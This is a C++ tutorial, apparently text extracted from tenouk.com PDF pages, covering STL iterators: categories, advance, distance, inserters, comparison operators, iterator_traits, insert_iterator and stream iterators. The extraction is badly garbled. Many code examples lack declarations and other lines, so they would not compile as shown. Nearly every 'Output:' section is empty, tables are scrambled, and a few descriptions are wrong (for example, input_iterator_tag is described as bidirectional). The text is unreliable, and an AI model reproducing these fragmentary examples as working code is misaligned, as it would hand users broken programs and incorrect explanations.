cout<<"After a pop the queue length is "<<i<<endl;
i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}
www.tenouk.com Page 9 of 9
MODULE 31
--THE STL--
ITERATOR PART I
Note: Compiled using VC++7.0/.Net, win32 empty console mode application. g++ program example compilation is
given at the end of this Module.
Abilities
31.1 Introduction
- In the previous Modules, we have learned how to construct various types of containers. At the same
time, in the program examples, iterators and algorithm also have been introduced.
- In this Module we are going to discuss an iterator in more detail.
31.2 Iterators
- An iterator is an object that can iterate or navigate or traverse over elements in the containers that
represent data structures. These elements may be the entire or just a portion of a STL container. It
represents a certain position in a container.
- For example, the following basic operations: output, input, forward, bidirectional and random
access define the behavior of an iterator.
- Iterators are a generalization of pointers, abstracting from their requirements in a way that allows a
C++ program to work with different data structures in a uniform manner. Iterators act as intermediaries
between containers and generic algorithms.
- Instead of operating on specific data types, algorithms are defined to operate on a range specified by a
type of iterator. Any data structure that satisfies the requirements of the iterator may then be operated
on by the algorithm.
- The name of an iterator type or its prefix indicates the category of iterators required for that type.
- There are five types or categories of iterator, each with its own set of requirements and operations are
shown below.
- They are arranged in the order of the strength of their functionalities.
www.tenouk.com Page 1 of 29
place of a forward iterator. You can, however, also decrement a bidirectional
iterator, as in -- I, I --, or (V = *I --).
Elements accessed in any order, may store and retrieve values, provided by
vector, deque, string, and array. A random-access iterator I can take the place
Random-access of a bidirectional iterator. You can also perform much the same integer
arithmetic on a random-access iterator that you can on an object pointer. For
N, an integer object, you can write x[N], x + N, x - N, and N + X.
- Note that an object pointer can take the place of a random-access iterator or any other iterator. All
iterators can be assigned or copied.
- They are assumed to be lightweight objects and are often passed and returned by value, not by
reference. Note also that none of the operations previously described can throw an exception when
performed on a valid iterator.
- The hierarchy of iterator categories can be summarized by showing three sequences. For write-only
access to a sequence, you can use any of the following:
- Any algorithm that calls for an output iterator should work nicely with a forward iterator, for example,
but not the other way around.
- For read-only access to a sequence, you can use any of the following:
- An object pointer can always serve as a random-access iterator, so it can serve as any category of
iterator if it supports the proper read/write access to the sequence it designates.
- An iterator Iterator other than an object pointer must also define the member types required by the
specialization iterator_traits<Iterator>. Note that these requirements can be met by
deriving Iterator from the public base class iterator.
- It is important to understand the promises and limitations of each iterator category to see how iterators
are used by containers and algorithms in the STL.
- For simple example:
Operator Description
++ Make the iterator step forward to the next element.
== and != Return whether two iterators represent the same position or not.
= Assigns an iterator.
- Compared to the traditional usage of this operator on arrays, iterators are smart pointers that iterate over
more complicated data structures of containers.
- Each container type supplies its own kind of iterator.
- Hence, iterators share the same interface but have different types, then operations use the same
interface but different types, and we can use templates to formulate generic operations that work with
arbitrary types that satisfy the interface.
www.tenouk.com Page 2 of 29
- All container classes provide the same basic member functions that enable them to use iterators to
navigate over their elements.
- The most frequently functions used in the program examples in the previous Modules are begin()
and end().
int main()
{
//lst, list container for character elements
list<char> lst;
Output:
int main()
{
//set container of int
//data type
set<int> tst;
//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);
www.tenouk.com Page 3 of 29
set<int>::const_iterator pos;
//preincrement and predecrement are faster
//than postincrement and postdecrement...
for(pos = tst.begin(); pos != tst.end(); ++pos)
cout<<*pos<<' ';
cout<<endl;
return 0;
}
Output:
int main()
{
//multiset container of int
//data type
multiset<int> tst;
//insert elements
tst.insert(12);
tst.insert(21);
tst.insert(32);
tst.insert(31);
tst.insert(9);
tst.insert(14);
tst.insert(21);
tst.insert(31);
tst.insert(7);
Output:
int main()
{
//type of the collection
map<int, string> mp;
www.tenouk.com Page 4 of 29
mp.insert(make_pair(4,"strings"));
mp.insert(make_pair(6,"iterator!"));
mp.insert(make_pair(1,"the"));
mp.insert(make_pair(3,"tagged"));
Output:
int main()
{
//type of the collection
multimap<int, string> mmp;
Output:
- Iterators are subdivided into different categories that are based on their general abilities. The iterators
of the predefined container classes belong to one of the following two categories:
Category Description
Bidirectional iterators are able to iterate in two directions, forward and
backward, by using the increment operator and decrement operators
Bidirectional iterator
respectively. The iterators of the container classes list, set, multiset, map,
and multimap are bidirectional iterators.
Random access iterator Random access iterators have all the properties of bidirectional iterators
www.tenouk.com Page 5 of 29
plus they can perform random access. You can add and subtract offsets,
process differences, and compare iterators by using relational operators
such as < and >. The iterators of the container classes’ vector and deque,
and iterators of strings are random access iterators.
- We should not use special operations for random access iterators in order to write generic code that is
as independent of the container type as possible. For example, the following loop works with any
container:
- Operator < is only provided for random access iterators, so this loop does not work with lists, sets, and
maps. To write generic code for arbitrary containers, you should use operator != rather than
operator <.
- A category only defines the abilities of iterators, not the type of the iterators.
- Let dig more details what are provided for us in <iterator> header.
- Defines the iterator primitives, predefined iterators and stream iterators, as well as several supporting
templates. The predefined iterators include insert and reverse adaptors.
- There are three classes of insert iterator adaptors: front, back, and general.
- They provide insert semantics rather than the overwrite semantics that the container member function
iterators provide. To use iterator we must include the iterator header as shown below.
#include <iterator>
Member Functions
advance()
Parameters
Parameter Description
The iterator that is to be incremented and that must satisfy the requirements for an input
_InIt
iterator.
www.tenouk.com Page 6 of 29
An integral type that is convertible to the iterator's difference type and that specifies the
_Off
number of increments the position of the iterator is to be advanced.
Table 31.6
- The range advanced through must be nonsingular, where the iterators must be dereferenceable or past
the end.
- If the InputIterator satisfies the requirements for a bidirectional iterator type, then _Off may be
negative. If InputIterator is an input or forward iterator type, _Off must be nonnegative.
- The advance function has constant complexity when InputIterator satisfies the requirements for a
random-access iterator; otherwise, it has linear complexity and so is potentially expensive.
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);
advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;
advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;
advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;
return 0;
}
Output:
back_inserter()
template<class Container>
back_insert_iterator<Container> back_inserter(
Container& _Cont
);
Parameter
Parameter Description
_Cont The container into which the back insertion is to be executed.
Table 31.7
www.tenouk.com Page 7 of 29
- The return value is a back_insert_iterator associated with the container object _Cont.
- Within the Standard Template Library, the argument must refer to one of the three sequence containers
that have the member function push_back(): deque Class, list Class, or vector Class.
//iterator, back_inserter()
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 1; i < 5; ++i)
vec.push_back(i);
Output:
distance()
template<class InputIterator>
typename iterator_traits<InputIterator>::difference_type
distance(
InputIterator _First,
InputIterator _Last
);
Parameters
www.tenouk.com Page 8 of 29
Parameter Description
_First The first iterator whose distance from the second is to be determined.
_Last The second iterator whose distance from the first is to be determined.
Table 31.8
- The return value is the number of times that _First must be incremented until it equal _Last.
- The advance function has constant complexity when InputIterator satisfies the requirements for a
random-access iterator; otherwise, it has linear complexity and so is potentially expensive.
//iterator, distance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = -1; i < 10; ++i)
lst.push_back(2*i);
list<int>::difference_type lstdiff;
cout<<"\nOperation: lstdiff = distance(lst.begin(), lstpos)\n";
lstdiff = distance(lst.begin(), lstpos);
cout<<"The distance from lst.begin() to lstpos is: "<<lstdiff<<" elements"<<endl;
return 0;
}
Output
front_inserter()
template<class Container>
front_insert_iterator<Container> front_inserter(
Container& _Cont
);
Parameter
Parameter Description
_Cont The container object whose front is having an element inserted.
www.tenouk.com Page 9 of 29
Table 31.9
- The return value is a front_insert_iterator() associated with the container object _Cont.
- The member function front_insert_iterator() of the front_insert_iterator class
may also be used.
- Within the STL, the argument must refer to one of the two sequence containers that have the member
function push_back(): deque Class or list Class.
//iterator, front_inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
for(i = -2; i<=5; ++i)
lst.push_back(i);
Output:
inserter()
Parameters
www.tenouk.com Page 10 of 29
Parameter Description
_Cont The container to which new elements are to be added.
_It An iterator locating the point of insertion.
Table 31.10
- The return value is an insert iterator addressing the new element inserted.
- Within the STL, the sequence and sorted associative containers may be used as a container object
_Cont with the templatized inserter.
//iterator, inserter()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = -3; i<=2; ++i)
lst.push_back(i);
Output:
Operators
www.tenouk.com Page 11 of 29
Operator Description
Tests if the iterator object on the left side of the operator is not equal to the iterator
operator!=
object on the right side.
Tests if the iterator object on the left side of the operator is equal to the iterator object on
operator==
the right side.
Tests if the iterator object on the left side of the operator is less than the iterator object
operator<
on the right side.
Tests if the iterator object on the left side of the operator is less than or equal to the
operator<=
iterator object on the right side.
Tests if the iterator object on the left side of the operator is greater than the iterator
operator>
object on the right side.
Tests if the iterator object on the left side of the operator is greater than or equal to the
operator>=
iterator object on the right side.
Adds an offset to an iterator and returns the new reverse_iterator addressing the
operator+
inserted element at the new offset position.
operator- Subtracts one iterator from another and returns the difference.
Table 31.11
operator!=
template<class RandomIterator>
bool operator!=(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);
template<class Type, class CharType, class Traits, class Distance>
bool operator!=(
const istream_iterator<Type, CharType, Traits, Distance>& _Left,
const istream_iterator<Type, CharType, Traits, Distance>& _Right
);
template<class CharType, class Tr>
bool operator!=(
const istreambuf_iterator<CharType, Traits>& _Left,
const istreambuf_iterator<CharType, Traits>& _Right
);
Parameters
Parameter Description
_Left An object of type iterator.
_Right An object of type iterator.
Table 31.12
- The return value is true if the iterator objects are not equal; false if the iterator objects are equal.
- One iterator object is equal to another if they address the same elements in a container. If two iterators
point to different elements in a container, then they are not equal.
//iterator, operator!=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 1; i<=10; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The vector vec data: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
www.tenouk.com Page 12 of 29
<<"element in the reversed sequence: "<<*rvecpos1<<endl;
rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;
Output:
operator==
- The return value is true if the iterator objects are equal; false if the iterator objects are not equal.
- One iterator object is equal to another if they address the same elements in a container. If two iterators
point to different elements in a container, then they are not equal.
//iterator, operator==
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 11; i<15; ++i)
vec.push_back(i);
www.tenouk.com Page 13 of 29
rvecpos1++;
cout<<"\nThe iterator rvecpos1 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos1<<endl;
Output:
operator<
template<class RandomIterator>
bool operator<(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);
Parameters
Parameter Description
_Left An object of type iterator.
_Right An object of type iterator.
Table 31.13
- The return value is true if the iterator on the left side of the expression is less than the iterator on the
right side of the expression; false if it is greater than or equal to the iterator on the right.
- One iterator object is less than another if it addresses an element that occurs earlier in the container
than the element addressed by the other iterator object.
- One iterator object is not less than another if it addresses either the same element as the other iterator
object or an element that occurs later in the container than the element addressed by the other iterator
object.
//iterator, operator<
#include <iterator>
#include <vector>
#include <iostream>
int main()
{
using namespace std;
int i;
vector<int> vec;
for(i = 10; i<= 17; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
www.tenouk.com Page 14 of 29
cout<<*veciter<<" ";
cout<<endl;
cout<<"\nOperation: rvecpos2++;\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "
<<*rvecpos2<<endl;
Output:
operator<=
www.tenouk.com Page 15 of 29
- The return value is true if the iterator on the left side of the expression is less than or equal to the
iterator on the right side of the expression; false if it is greater than the iterator on the right.
- One iterator object is less than or equal to another if it addresses the same element or an element that
occurs earlier in the container than the element addressed by the other iterator object.
- One iterator object is greater than another if it addresses an element that occurs later in the container
than the element addressed by the other iterator object.
//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos1<=rvecpos2\n";
if(rvecpos1<=rvecpos2)
cout<<"The iterator rvecpos1 is less than or\n"
<<"equal to the iterator rvecpos2."<<endl;
else
cout<<"The iterator rvecpos1 is greater than\n"
<<"the iterator rvecpos2."<<endl;
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;
Output:
www.tenouk.com Page 16 of 29
operator>
- The return value is true if the iterator on the left side of the expression is greater than the iterator on the
right side of the expression; false if it is less than or equal to the iterator on the right.
- One iterator object is greater than another if it addresses an element that occurs later in the container
than the element addressed by the other iterator object.
- One iterator object is not greater than another if it addresses either the same element as the other
iterator object or an element that occurs earlier in the container than the element addressed by the other
iterator object.
//iterator, operator<=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;
www.tenouk.com Page 17 of 29
<<"the iterator rvecpos1."<<endl;
return 0;
}
Output:
operator>=
- The return value is true if the iterator on the left side of the expression is greater than or equal to the
iterator on the right side of the expression; false if it is less than the iterator on the right.
- One iterator object is greater than or equal to another if it addresses the same element or an element that
occurs later in the container than the element addressed by the other iterator object.
- One iterator object is less than another if it addresses an element that occurs earlier in the container
than the element addressed by the other iterator object.
//iterator, operator>=
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<= 15; ++i)
vec.push_back(i);
cout<<"\nOperation: rvecpos2++\n";
rvecpos2++;
cout<<"The iterator rvecpos2 now points to the second\n"
<<"element in the reversed sequence: "<<*rvecpos2<<endl;
www.tenouk.com Page 18 of 29
<<"or equal to the iterator rvecpos1."<<endl;
else
cout<<"The iterator rvecpos2 is not greater than\n"
<<"the iterator rvecpos1."<<endl;
Output:
operator+
template<class RandomIterator>
reverse_iterator<RandomIterator> operator+(
typename reverse_iterator<Iterator>::difference_type _Off,
const reverse_iterator<RandomIterator>& _Right
);
Parameters
Parameter Description
_Off The number of positions the const reverse_iterator is to be offset.
_Right The const reverse_iterator that is to be offset.
Table 31.14
//iterator, operator+
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The vector vec data: ";
www.tenouk.com Page 19 of 29
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}
Output:
operator-
template<class RandomIterator>
typename reverse_iterator<RandomIterator>::difference_type operator-(
const reverse_iterator<RandomIterator>& _Left,
const reverse_iterator<RandomIterator>& _Right
);
Parameters
Parameter Description
An iterator that serves as the minuend from which another iterator is to be
_Left
subtracted in forming the difference.
An iterator that serves as the subtrahend that is to be subtracted from other
_Right
iterator in forming the difference.
Table 31.15
- The return value is the difference between two iterators: _Left - _Right. The difference equals the
minuend minus the subtrahend.
//iterator, operator-
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
vector<int>::iterator veciter;
cout<<"The initial vector vec is: ";
for(veciter = vec.begin(); veciter != vec.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
www.tenouk.com Page 20 of 29
cout<<"\nOperation: rvecpos1 = vec.rbegin() and rvecpos2 = vec.rbegin()\n";
vector<int>::reverse_iterator rvecpos1 = vec.rbegin(), rvecpos2 = vec.rbegin();
Output:
Class Description
The template class describes an output iterator object. It inserts elements
back_insert_iterator into a container of type Container, which it accesses through the
protected pointer object it stores called container.
A class that provides a return type for an iterator_category()
bidirectional_iterator_tag
function that represents a bidirectional iterator.
The template class describes an output iterator object. It inserts elements
front_insert_iterator into a container of type Container, which it accesses through the
protected pointer object it stores called container.
A class that provides a return type for an iterator_category()
forward_iterator_tag
function that represents a forward iterator.
A class that provides a return type for an iterator_category()
input_iterator_tag
function that represents a bidirectional iterator.
The template class describes an output iterator object. It inserts elements
into a container of type Container, which it accesses through the
insert_iterator protected pointer object it stores called container. It also stores the
protected iterator object, of class Container::iterator, called
iter.
The template class describes an input iterator object. It extracts objects of
istream_iterator class Ty from an input stream, which it accesses through an object it
stores, of type pointer to basic_istream<Elem, Tr>.
The template class describes an output iterator object. It inserts elements
of class Elem into an output stream buffer, which it accesses through an
istreambuf_iterator
object it stores, of type pointer to basic_streambuf<Elem,
Tr>.
iterator The template class is used as a base type for all iterators.
A template helper class providing critical types that are associated with
iterator_traits
different iterator types so that they can be referred to in the same way.
The template class describes an output iterator object. It inserts objects of
ostream_iterator
class Type into an output stream, which it accesses through an object it
www.tenouk.com Page 21 of 29
stores, of type pointer to basic_ostream<Elem, Tr>.
The template class describes an output iterator object. It inserts elements
ostreambuf_iterator Class of class Elem into an output stream buffer, which it accesses through an
object it stores, of type pointer to basic_streambuf<Elem, Tr>.
A class that provides a return type for iterator_category()
output_iterator_tag
function that represents an output iterator.
A class that provides a return type for iterator_category()
random_access_iterator_tag
function that represents a random-access iterator.
The template class describes an object that behaves like a random-access
reverse_iterator
iterator, only in reverse.
Table 31.16
- A class that provides a return type for iterator_category function that represents a random-
access iterator.
- The category tag classes are used as compile tags for algorithm selection. The template function needs
to find the most specific category of its iterator argument so that it can use the most efficient algorithm
at compile time.
- For every iterator of type Iterator,
iterator_traits<Iterator>::iterator_category must be defined to be the most
specific category tag that describes the iterator's behavior.
- The type is the same as iterator<Iter>::iterator_category when Iter describes an
object that can serve as a random-access iterator.
int main()
{
vector<int> vec1;
vector<char> vec2;
list<char> lst;
iterator_traits<vector<int>::iterator>::iterator_category cati;
iterator_traits<vector<char>::iterator>::iterator_category catc;
iterator_traits<list<char>::iterator>::iterator_category catlst;
cout<<"\nOperation: typeid(vec1.begin())==typeid(vec2.begin())\n";
if(typeid(vec1.begin()) == typeid(vec2.begin()))
cout<<"The iterators type are the same."<<endl;
else
cout<<"The iterators type are not the same."<<endl;
www.tenouk.com Page 22 of 29
return 0;
}
Output:
- A template helper class providing critical types that are associated with different iterator types so that
they can be referred to in the same way.
- Note that, from the following class template you can see how the typedef defined in the template
class as well as struct usage.
template<class Iterator>
struct iterator_traits
{
typedef typename Iterator::iterator_category iterator_category;
typedef typename Iterator::value_type value_type;
typedef typename Iterator::difference_type difference_type;
typedef typename Iterator::pointer pointer;
typedef typename Iterator::reference reference;
};
template<class Type>
struct iterator_traits<Type*>
{
typedef random_access_iterator_tag iterator_category;
typedef Type value_type;
typedef ptrdiff_t difference_type;
typedef Type *pointer;
typedef Type& reference;
};
template<class Type>
struct iterator_traits<const Type*>
{
typedef random_access_iterator_tag iterator_category;
typedef Type value_type;
typedef ptrdiff_t difference_type;
typedef const Type *pointer;
typedef const Type& reference;
};
Type Description
iterator_category A synonym for Iterator::iterator_category.
value_type A synonym for Iterator::value_type.
difference_type A synonym for Iterator::difference_type.
pointer A synonym for Iterator::pointer.
reference A synonym for Iterator::reference.
www.tenouk.com Page 23 of 29
//iterator, template class
#include <iostream>
#include <iterator>
#include <vector>
#include <list>
using namespace std;
template<class ite>
//create a function of template class type...
void funct(ite i1, ite i2)
{
iterator_traits<ite>::iterator_category cat;
cout<<"Test the iterator type...\n";
cout<<typeid(cat).name()<<endl;
int main()
{
//declare containers vector and list
vector<char> vec(9, 'T');
list<int> lst(8, 7);
//function call...
funct(vec.begin(), vec.end());
funct(lst.begin(), lst.end());
return 0;
}
Output:
- Describes an iterator adaptor that satisfies the requirements of an output iterator. It inserts, rather than
overwrites, elements into a sequence and thus provides semantics that are different from the overwrite
semantics provided by the iterators of the C++ sequence and associative containers.
- The insert_iterator class is templatized on the type of container being adapted.
Parameters
Parameter Description
Container The type of container into which elements are to be inserted by an insert_iterator.
Table 31.18
- The container of type Container must satisfy the requirements for a variable-sized container and
have a two-argument insert member function where the parameters are of type
www.tenouk.com Page 24 of 29
Container::iterator and Container::value_type and that returns a type
Container::iterator.
- STL sequence and sorted associative containers satisfy these requirements and can be adapted to use
with insert_iterators. For associative containers, the position argument is treated as a hint,
which has the potential to improve or degrade performance depending on how good the hint is.
- An insert_iterator must always be initialized with its container.
Typedefs
Typedef Description
A type that represents the container into which a general
container_type
insertion is to be made.
A type that provides a reference to an element in a sequence
reference
controlled by the associated container.
Table 31.19
- A type that represents the container into which a general insertion is to be made.
//insert_iterator, container_type
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
list<int> lst1;
insert_iterator<list<int> >::container_type lst2 = lst1;
inserter(lst2, lst2.end()) = 12;
inserter(lst2, lst2.end()) = 17;
inserter(lst2, lst2.begin()) = 24;
inserter(lst2, lst2.begin()) = 9;
list<int>::iterator veciter;
cout<<"The list lst2 data: ";
for(veciter = lst2.begin(); veciter != lst2.end(); veciter++)
cout<<*veciter<<" ";
cout<<endl;
return 0;
}
Output:
- A type that provides a reference to an element in a sequence controlled by the associated container.
- The type describes a reference to an element of the sequence controlled by the associated container.
//insert_iterator, container_reference
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
www.tenouk.com Page 25 of 29
list<int> lst;
insert_iterator<list<int> > iivIter(lst, lst.begin());
*iivIter = 12;
*iivIter = 21;
*iivIter = 9;
*iivIter = 31;
list<int>::iterator lstIter;
cout<<"The list lst data: ";
for(lstIter = lst.begin(); lstIter != lst.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
Output:
Member Functions
Table 31.20
insert_iterator::insert_iterator
Parameters
Parameter Description
_Cont The container into which the insert_iterator is to insert elements.
_It The position for the insertion.
Table 31.21
- All containers have the insert member function called by the insert_iterator.
- For associative containers the position parameter is merely a suggestion. The inserter function provides
a convenient way to insert to values.
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>
int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);
www.tenouk.com Page 26 of 29
for(lstiter = lst.begin(); lstiter != lst.end(); lstiter++)
cout<<*lstiter<<" ";
cout<<endl;
Output:
Operators
Operator Description
Dereferencing operator used to implement the output iterator expression
operator*
such as *i = x for a general insertion.
Increments the insert_iterator to the next location into which a value
operator++
may be stored.
Assignment operator used to implement the output iterator expression such
operator=
as *i = x for a general insertion.
Table 31.22
insert_iterator::operator*
insert_iterator& operator*();
- The return value is the member function returns the value of the element addressed.
- Used to implement the output iterator expression *Iter = value. If Iter is an iterator that
addresses an element in a sequence, then *Iter = value replaces that element with value and does
not change the total number of elements in the sequence.
//insert_iterator, operator*
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
www.tenouk.com Page 27 of 29
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);
Output:
- Program example compiled using g++. g++ will prompt you if old STL constructs that do not comply
to standard, used in your programs such as examples presented at the beginning of this Module.
//*****iteratoradvance.cpp**********
//iterator, advance()
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int> lst;
for(i = 1; i <= 10; ++i)
lst.push_back(i);
advance(lstpos, 5);
cout<<"Advanced lstpos 5 steps forward pointing to the "<<*lstpos<<endl;
advance(lstpos, -4);
cout<<"Moved lstpos 4 steps backward pointing to the "<<*lstpos<<endl;
advance(lstpos, 8);
cout<<"Finally, the last element pointed by iterator lstpos is: "<<*lstpos<<endl;
return 0;
}
www.tenouk.com Page 28 of 29
[bodo@bakawali ~]$ g++ iteratoradvance.cpp -o iteratoradvance
[bodo@bakawali ~]$ ./iteratoradvance
//*******insertiterator.cpp********
//insert_iterator, insert_iterator
#include <iterator>
#include <list>
#include <iostream>
int main()
{
using namespace std;
int i;
list <int>::iterator lstiter;
list<int> lst;
for(i = 10; i<15; ++i)
lst.push_back(i);
----------------www.tenouk.com--------------------
www.tenouk.com Page 29 of 29
MODULE 32
--THE STL--
ITERATOR PART II
Note: Compiled using VC++7.0/.Net, win32 empty console mode application. This is a continuation from the
previous Module. g++ compilation examples given at the end of this Module.
Abilities
insert_iterator::operator++
- Increments the insert_iterator to the next location into which a value may be stored.
insert_iterator& operator++();
insert_iterator& operator++(int);
Parameters
- An insert_iterator addressing the next location into which a value may be stored.
- Both pre-incrementation and post-incrementation operators return the same result.
//insert_iterator, operator++
//the increment...
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
int i;
vector<int> vec;
for(i = 10; i<=15; ++i)
vec.push_back(i);
Output:
Page 1 of 24
insert_iterator::operator=
Parameter
Parameter Description
_Val The value to be assigned to the element.
Table 32.1
- The return value is a reference to the element inserted into the container.
- The member function evaluates Iter = container. insert(Iter, _Val), then returns
*this.
//insert_iterator, operator=
//the assignment
#include <iterator>
#include <list>
#include <iostream>
using namespace std;
int main()
{
int i;
list<int>::iterator lstiter;
list<int> lst;
for(i = 10; i<=15; ++i)
lst.push_back(i);
Output:
Page 2 of 24
istream_iterator Template Class
- Describes an input iterator object. It extracts objects of class Type from an input stream, which it
accesses through an object it stores, of type pointer to basic_istream<CharType,
Traits>.
template <
class Type
class CharType = char
class Traits = char_traits<CharType>
class Distance= ptrdiff_t
>
Parameters
Parameter Description
Type The type of object to be extracted from the input stream.
The type that represents the character type for the istream_iterator.
CharType
This argument is optional and the default value is char.
The type that represents the character type for the istream_iterator.
Traits This argument is optional and the default value is
char_traits<CharType>.
A signed integral type that represents the difference type for the
Distance istream_iterator. This argument is optional and the default value is
ptrdiff_t.
Table 32.2
- After constructing or incrementing an object of class istream_iterator with a non null stored
pointer, the object attempts to extract and store an object of type Type from the associated input
stream.
- If the extraction fails, the object effectively replaces the stored pointer with a null pointer, thus making
an end-of-sequence indicator.
Typedefs
Typedef Description
A type that provides for the character type of the
char_type
istream_iterator.
A type that provides for the stream type of the
istream_type
istream_iterator.
A type that provides for the character traits type of
traits_type
the istream_iterator.
Table 32.3
istream_iterator::char_type
istream_iterator::traits_type
- A type that provides for the character traits type of the istream_iterator.
Page 3 of 24
//istream_iterator, char_type and
//traits_type
#include <iterator>
#include <vector>
#include <iostream>
using namespace std;
int main()
{
typedef istream_iterator<int>::char_type chtype;
typedef istream_iterator<int>::traits_type tratype;
//End-of-stream iterator
istream_iterator<int, chtype, tratype> EOFintread;
while(intread != EOFintread)
{
cout<<"Reading data: "<<*intread<<endl;
++intread;
}
cout<<endl;
return 0;
}
Output:
Member Functions
Table 32.4
istream_iterator::istream_iterator
istream_iterator();
istream_iterator(istream_type& _Istr);
Parameter
Parameter Description
_Istr The input stream to be read use to initialize the istream_iterator.
Table 32.5
- The First constructor initializes the input stream pointer with a null pointer and creates an end-of-
stream iterator.
Page 4 of 24
- The second constructor initializes the input stream pointer with &_Istr, then attempts to extract and
store an object of type Type.
- The end-of-stream iterator can be use to test whether an istream_iterator has reached the end of
a stream.
//istream_iterator, istream_iterator
#include <iterator>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
//Used in conjunction with copy algorithm
//to put elements into a vector read from cin
vector<int> vec(5);
vector<int>::iterator Iter;
Output:
Operators
Operator Description
The dereferencing operator returns the stored object of type Type addressed by the
operator*
istream_iterator.
operator-> Returns the value of a member, if any.
Either extracts an incremented object from the input stream or copies the object
operator++
before incrementing it and returns the copy.
Table 32.6
- The template class istreambuf_iterator describes an input iterator object that extracts character elements
from an input stream buffer, which it accesses through an object it stores, of type pointer to
basic_streambuf<CharType, Traits>.
template <
class CharType
class Traits = char_traits<CharType>
>
Parameters
Parameter Description
CharType The type that represents the character type for the
Page 5 of 24
istreambuf_iterator.
The type that represents the character type for the
Traits istreambuf_iterator. This argument is optional and the default value
is char_traits<CharType>.
Table 32.7
- The ostreambuf_iterator class must satisfy the requirements for an input iterator.
- After constructing or incrementing an object of class istreambuf_iterator with a non-null
stored pointer, the object effectively attempts to extract and store an object of type CharType from
the associated input stream.
- The extraction may be delayed, however, until the object is actually dereferenced or copied. If the
extraction fails, the object effectively replaces the stored pointer with a null pointer, thus making an
end-of-sequence indicator.
Typedefs
Typedef Description
A type that provides for the character type of the
char_type
ostreambuf_iterator.
A type that provides an integer type for an
int_type
istreambuf_iterator.
A type that provides for the stream type of the
istream_type
istream_iterator.
A type that provides for the stream type of the
streambuf_type
istreambuf_iterator.
A type that provides for the character traits type of
traits_type
the istream_iterator.
Table 32.8
istreambuf_iterator::char_type
//istreambuf_iterator, char_type
#include <iterator>
#include <vector>
#include <iostream>
#include <algorithm>
using namespace std;
int main()
{
typedef istreambuf_iterator<char>::char_type chatype;
typedef istreambuf_iterator<char>::traits_type tratype;
Output:
Page 6 of 24
istreambuf_iterator::int_type
//istreambuf_iterator, int_type
#include <iterator>
#include <iostream>
using namespace std;
int main()
{
cout<<"Operation: int_type intype = 77\n";
istreambuf_iterator<char>::int_type intype = 77;
cout<<"The int_type type = "<<intype<<endl;
return 0;
}
Output:
istream_iterator::traits_type
- A type that provides for the character traits type of the istream_iterator.
Member Functions
Table 32.9
istreambuf_iterator::equal
Parameter
